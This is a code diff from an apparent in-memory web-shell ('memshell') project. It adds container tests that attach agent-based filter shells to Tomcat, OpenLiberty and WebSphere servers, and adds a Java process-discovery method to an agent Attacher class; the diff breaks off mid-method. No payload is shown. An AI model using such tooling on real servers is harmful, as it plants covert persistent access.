import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -13,6 +15,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -26,6 +29,7 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
|||||||
"reajason/websphere:7.0.0.21",
|
"reajason/websphere:7.0.0.21",
|
||||||
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||||
.targetJdkVersion(Opcodes.V1_6)
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
|
||||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.supportedShellTypes(List.of(
|
.supportedShellTypes(List.of(
|
||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
@@ -46,4 +50,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
|||||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||||
.expectedJdkVersion("JRE|17.0.17|61")
|
.expectedJdkVersion("JRE|17.0.18|61")
|
||||||
.targetJdkVersion(Opcodes.V1_8)
|
.targetJdkVersion(Opcodes.V1_8)
|
||||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.privilegedMode(true)
|
.privilegedMode(true)
|
||||||
|
|||||||
@@ -15,6 +15,7 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
|
|||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.ByteOrder;
|
||||||
import java.security.CodeSource;
|
import java.security.CodeSource;
|
||||||
import java.security.PrivilegedAction;
|
import java.security.PrivilegedAction;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
@@ -91,6 +97,41 @@ public class Attacher {
|
|||||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Lists all discoverable Java processes on the local host.
|
||||||
|
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
|
||||||
|
* in the system temporary folder and parsing PerfData binary files to extract
|
||||||
|
* the main class name. OpenJ9 processes are discovered by scanning
|
||||||
|
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Note</b>: Only processes accessible to the current user are listed.
|
||||||
|
* Stale entries from crashed JVMs may appear. Processes started with
|
||||||
|
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return A list of discovered Java process descriptors.
|
||||||
|
*/
|
||||||
|
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||||
|
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
Set<String> seenPids = new HashSet<String>();
|
||||||
|
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||||
|
if (seenPids.add(descriptor.getPid())) {
|
||||||
|
processes.add(descriptor);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return processes;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Installs a Java agent on a target VM.
|
* Installs a Java agent on a target VM.
|
||||||
*
|
*
|
||||||
@@ -928,4 +969,431 @@ public class Attacher {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Represents a discovered Java process on the local host.
|
||||||
|
*/
|
||||||
|
public static class JavaProcessDescriptor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The process ID.
|
||||||
|
*/
|
||||||
|
private final String pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The main class name or JAR path, may be empty if unknown.
|
||||||
|
*/
|
||||||
|
private final String mainClass;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
private final String vmType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java process descriptor.
|
||||||
|
*
|
||||||
|
* @param pid The process ID.
|
||||||
|
* @param mainClass The main class name or JAR path, may be empty if unknown.
|
||||||
|
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||||
|
this.pid = pid;
|
||||||
|
this.mainClass = mainClass;
|
||||||
|
this.vmType = vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the process ID.
|
||||||
|
*
|
||||||
|
* @return The process ID.
|
||||||
|
*/
|
||||||
|
public String getPid() {
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the main class name or JAR path. May be empty if unknown.
|
||||||
|
*
|
||||||
|
* @return The main class name.
|
||||||
|
*/
|
||||||
|
public String getMainClass() {
|
||||||
|
return mainClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the JVM type identifier.
|
||||||
|
*
|
||||||
|
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
|
||||||
|
*/
|
||||||
|
public String getVmType() {
|
||||||
|
return vmType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
